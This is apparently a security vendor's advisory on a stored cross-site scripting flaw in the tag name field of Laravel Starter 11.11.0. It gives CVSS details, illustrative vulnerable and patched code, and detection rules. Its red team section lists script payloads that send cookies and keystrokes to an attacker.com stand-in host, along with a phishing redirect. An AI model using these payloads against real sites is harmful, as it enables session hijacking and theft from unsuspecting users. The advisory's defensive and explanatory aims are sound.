CVE-2025-26159
Executive Summary
CVE-2025-26159 identifies a stored Cross-Site Scripting (XSS) vulnerability in Laravel Starter version 11.11.0. The flaw resides in the tags feature, allowing any authenticated user with tag creation or modification privileges to inject malicious JavaScript code into the name field. This injected script is then stored and executed in the browsers of other users who view the affected tags, leading to potential session hijacking, data theft, or further compromise.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Laravel Starter is a PHP-based starter kit built on the Laravel framework. While the core Laravel framework is not directly affected, this starter kit introduces its own tag management module. The vulnerability exists within the application layer, not in the underlying Laravel dependencies. Organizations using this starter kit should treat it as a supply chain risk, as the vulnerable code is part of the application's custom logic.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
- Base Score: 5.4 (Medium)
- Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions are required.
- Privileges Required (PR): Low (L) – An attacker needs a valid account with tag creation/modification permissions.
- User Interaction (UI): Required (R) – The victim must view the malicious tag.
- Scope (S): Changed (C) – The impact extends beyond the vulnerable component.
- Confidentiality (C): Low (L) – Limited data exposure possible.
- Integrity (I): Low (L) – Limited ability to modify data.
- Availability (A): None (N) – No impact on availability.
Threat Level: Medium. The requirement for authenticated access and user interaction reduces the immediate risk, but the stored nature of the XSS makes it a persistent threat to all users viewing tag data.
Deep Dive & Mechanics
The vulnerability is a classic stored XSS (also known as persistent XSS). The application fails to properly sanitize or encode user-supplied input in the name field of the tags feature. When a user with tag creation or modification privileges submits a tag name containing malicious JavaScript, the input is stored in the database without adequate validation.
When another user (including administrators) navigates to a page that displays the tag, the malicious script is rendered in the browser context of that user. This allows the attacker to execute arbitrary JavaScript, which can:
- Steal session cookies.
- Perform actions on behalf of the victim (e.g., create new admin accounts).
- Redirect users to phishing pages.
- Deface the application interface.
The attack flow:
- Attacker logs in with a low-privileged account that has tag creation rights.
- Attacker creates a new tag with a payload like
<script>alert('XSS')</script>in the name field. - The tag is stored in the database.
- Victim (e.g., admin) views the tag list or a page that renders the tag.
- The script executes in the victim's browser.
Vulnerable vs. Patched Code
Vulnerable Code (Laravel Starter 11.11.0): The tag creation/modification endpoint likely uses a method similar to:
// Vulnerable: No sanitization
public function store(Request $request)
{
$tag = new Tag();
$tag->name = $request->input('name');
$tag->save();
return redirect()->back();
}
The view rendering the tag name might use:
// Vulnerable: Unescaped output
{!! $tag->name !!}
Patched Code (Hypothetical): The patched version should sanitize input and escape output:
// Patched: Input sanitization
public function store(Request $request)
{
$request->validate([
'name' => 'required|string|max:255|regex:/^[a-zA-Z0-9\s\-_]+$/',
]);
$tag = new Tag();
$tag->name = strip_tags($request->input('name'));
$tag->save();
return redirect()->back();
}
The view should use escaped output:
// Patched: Escaped output
{{ $tag->name }}
Exploitation & Lab Setup
Red Team
Prerequisites:
- A running instance of Laravel Starter 11.11.0.
- A valid user account with tag creation or modification privileges.
Exploitation Steps:
- Log in to the application.
- Navigate to the tags management section (e.g.,
/tags/create). - In the
namefield, inject a payload. Example:<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Submit the form.
- Wait for an administrator or other user to view the tag list or a page that renders the tag.
- The victim's browser will execute the script, sending their cookies to the attacker's server.
Alternative Payloads:
- Session hijacking:
<script>new Image().src='https://attacker.com/steal?c='+document.cookie</script> - Keylogging:
<script>document.onkeypress=function(e){fetch('https://attacker.com/key?k='+e.key)}</script> - Phishing:
<script>window.location='https://phishing-site.com'</script>
Blue Team
Detection Steps:
- Monitor web application logs for unusual input patterns in the
namefield of tag creation/modification requests. - Look for requests containing
<script>,onerror=,onload=, or other XSS indicators. - Use a Web Application Firewall (WAF) to block common XSS payloads.
- Implement Content Security Policy (CSP) headers to mitigate the impact of XSS.
Lab Setup for Testing:
- Deploy a vulnerable instance of Laravel Starter 11.11.0 in an isolated environment.
- Use a tool like Burp Suite or OWASP ZAP to intercept and modify requests.
- Create a test user with tag creation privileges.
- Inject payloads and observe the behavior in a browser.
Indicators of Compromise (IOCs)
- Network IOCs:
- Outbound HTTP requests to unknown or suspicious domains containing cookie data.
- Requests to
/tags/createor/tags/*/editwith unusual payloads in thenameparameter.
- File IOCs:
- Log entries showing
nameparameter containing<script>tags. - Database entries in the
tagstable withnamefields containing JavaScript.
- Log entries showing
- Behavioral IOCs:
- Unexpected redirects to external sites.
- Unauthorized changes to user accounts or settings.
- Alerts from security tools detecting XSS patterns.
Detection Engineering
YARA Rule
rule CVE_2025_26159_XSS_Tag_Name {
meta:
description = "Detects stored XSS payloads in Laravel Starter tag names"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-26159"
strings:
$xss1 = /<script[^>]*>.*?<\/script>/is
$xss2 = /on\w+\s*=\s*['"].*?['"]/is
$xss3 = /javascript\s*:/is
condition:
any of them
}
Sigma Rule
title: Stored XSS in Laravel Starter Tag Name
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects potential stored XSS attacks targeting the tags feature in Laravel Starter 11.11.0
author: Valters IT
date: 2025-04-10
references:
- https://nvd.nist.gov/vuln/detail/CVE-2025-26159
logsource:
category: web_application
product: laravel_starter
detection:
selection:
request_method: 'POST'
request_path:
- '/tags'
- '/tags/*'
request_body|contains:
- '<script'
- 'onerror='
- 'onload='
- 'javascript:'
condition: selection
falsepositives:
- Legitimate use of HTML in tag names (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-26159 Stored XSS in Laravel Starter Tag Name"; flow:to_server,established; content:"POST"; http_method; content:"/tags"; http_uri; pcre:"/(<script|onerror=|onload=|javascript:)/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the tags feature if not critical to business operations.
- Restrict tag creation/modification permissions to only trusted administrators.
- Implement input validation on the
namefield to allow only alphanumeric characters and spaces. - Escape output in all views that render tag names using Blade's
{{ }}syntax instead of{!! !!}.
Long-Term Fixes:
- Apply a patch from the vendor if/when available.
- Upgrade to a patched version of Laravel Starter.
- Conduct a security audit of the entire application for similar vulnerabilities.
- Implement a Web Application Firewall (WAF) with XSS protection rules.
- Deploy Content Security Policy (CSP) headers to restrict script execution.
Workaround: If patching is not immediately possible, modify the tag creation controller to strip HTML tags:
$tag->name = strip_tags($request->input('name'));
And ensure all views use escaped output:
{{ $tag->name }}
Valters IT
Securing Digital Frontiers